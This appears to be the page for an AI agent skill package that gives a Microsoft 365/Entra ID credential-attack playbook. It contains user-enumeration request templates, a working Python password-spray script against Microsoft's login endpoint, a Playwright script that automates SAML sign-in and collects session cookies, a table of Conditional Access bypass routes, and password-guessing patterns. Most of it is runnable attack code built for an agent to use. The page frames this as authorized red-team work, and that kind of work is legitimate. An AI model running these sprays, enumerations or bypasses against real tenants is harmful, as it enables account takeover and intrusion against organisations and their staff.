Loading...
Loading...
Microsoft 365 / Entra ID red-team attack chain — current 2026 reality. AADSTS code reference, user enumeration vectors (with hardening status), Smart Lockout math, Conditional Access bypass options, ROPC + SAML SSO browser flow, Burp/Playwright templates. Built from authorized red-team work where ROPC spray surfaced pre-existing lockouts and CA-blocked credentials, plus real-time external attacker activity correlation. Use for any M365/Entra credential attack, password spray, user enumeration, CA-bypass exploration, or active-attacker-detection scenario.
npx skill4agent add elementalsouls/claude-bughunter m365-entra-attack*.onmicrosoft.com*-my.sharepoint.comenterpriseregistration.*enterpriseenrollment.*# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.exampleManagedFederated| AADSTS | Meaning | Lockout impact | What to do |
|---|---|---|---|
| 50034 | User does not exist | None | Skip; remove from spray list |
| 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) |
| 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |
| 53003 | CA blocked token issuance | +1 attempt counter | PASSWORD VALID — STOP, password is correct |
| 50076 | MFA required | +1 attempt counter | PASSWORD VALID — second factor needed |
| 50079 | Strong auth required | +1 attempt counter | PASSWORD VALID — same as 50076 |
| 50158 | External auth required | +1 attempt counter | PASSWORD VALID — federated MFA |
| 530003 | Device-state required | +1 attempt counter | PASSWORD VALID — needs compliant device |
| 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |
| 700016 | App not in tenant | None | User in different tenant — adjust target |
| 90002 | Tenant does not exist | None | Tenant typo / dead tenant |
mid-engagement-ir-detectionGET /getuserrealm.srf?login=<email>&xml=1POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}AADSTS1659001GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.comSprequestdurationSharePoint Detected: Yes| OneDrive | ROPC | Classification |
|---|---|---|
| 200 | AADSTS50076 (MFA req) or 50126 | Licensed regular user (real employee, MFA enforced) |
| 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) |
| 404 | AADSTS50126 | Shared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing |
| 404 | AADSTS50034 | Doesn't exist in tenant |
| 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |
noreply@purchase@accounts@postmaster@transport@| Vector | Status (2026) | Notes |
|---|---|---|
| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try |
| Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource |
| EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |
| FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |
| Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |
| Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |
| AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |
| FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |
| SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |
| Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1 # or 2 — never higher
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
body = urllib.parse.urlencode({
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
"client_info": "1",
"grant_type": "password",
"username": email,
"password": password,
"scope": "openid",
}).encode()
state[email.lower()] = state.get(email.lower(), 0) + 1
json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body, method="POST",
)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
r = urllib.request.urlopen(req, context=ctx, timeout=15)
body = json.loads(r.read())
# PARSE AS JSON — see CRITICAL TRAP below about substring matching
if "access_token" in body: # ← JSON key check, NOT substring
return {"status": "VALID", "body": body}
return {"status": "STATUS_200_NO_TOKEN", "body": body}
except urllib.error.HTTPError as e:
msg = e.read().decode(errors="ignore")
for code, status in [
("AADSTS50034", "INVALID_USER"),
("AADSTS50126", "INVALID_PW"),
("AADSTS50053", "LOCKED"),
("AADSTS53003", "VALID_CA_BLOCK"),
("AADSTS50076", "VALID_MFA"),
("AADSTS50079", "VALID_MFA"),
]:
if code in msg:
return {"status": status, "code": code}
return {"status": "OTHER", "msg": msg[:200]}"access_token"claims{
"error": "invalid_grant",
"error_description": "AADSTS50076: ...you must use multi-factor authentication...",
"error_codes": [50076],
"suberror": "basic_action",
"claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}"access_token"if "access_token" in raw_body:if "access_token" in parsed_dict:claims.access_token.capolidsAADSTS50053AADSTS50053AADSTS50053import asyncio
from playwright.async_api import async_playwright
async def saml_validate(target_sp_url, username, password, screenshot_dir):
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
context = await browser.new_context(ignore_https_errors=True)
page = await context.new_page()
# Step 1: navigate to SP
await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
# Step 2: click sign-in (selectors vary per SP)
for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
try:
await page.locator(sel).first.click(timeout=3000)
break
except: continue
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 3: submit username at Microsoft
await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 4: submit password
await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=30000)
# Step 5: capture
await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
content = await page.content()
cookies = await context.cookies()
await browser.close()
# Check outcome
low = content.lower()
if "convergedconditionalaccess" in low or "53003" in low:
return "CA_BLOCKED" # cred valid, CA wall
elif "verify your identity" in low or "approve sign in" in low:
return "MFA_REQUIRED" # cred valid, MFA wall
elif "we couldn't sign you in" in low or "wrong" in low:
return "INVALID"
elif "<post-auth-landing-marker>" in low or "dashboard" in low:
return "FULL_SUCCESS" # session obtained (replace marker per target app)
return "UNCLEAR"ConvergedConditionalAccessAADSTS50053<BrandName>@<Year><Brand>@2026Tata@2026<BrandName>@123<Brand>@123<PlantCity>@<Year><City1>@2026<City2>@2026<EmployeeID-as-password>Password@<year>Welcome@<year>Admin@<year><BrandName>@<Y2-digits><Brand>@26{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 sprayo365_results.jsonlstatus=LOCKED<user>:<password>ConvergedConditionalAccessAADSTS50053GetCredentialTypepip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
brew install pandoc # for report generation
go install -v github.com/projectdiscovery/... # PD toolkit for general reconm365_validator.pyengagement_log/m365_validator.pyattempt()hunt-mfa-bypasshunt-mfa-bypasshunt-ntlm-infocorp.example.comm365-entra-attackokta-attackgetuserrealmNameSpaceType: Federated*.okta.comokta-attackhunt-samlgetuserrealmhunt-saml/adfs/ls/redteam-report-templatetriage-validationredteam-report-template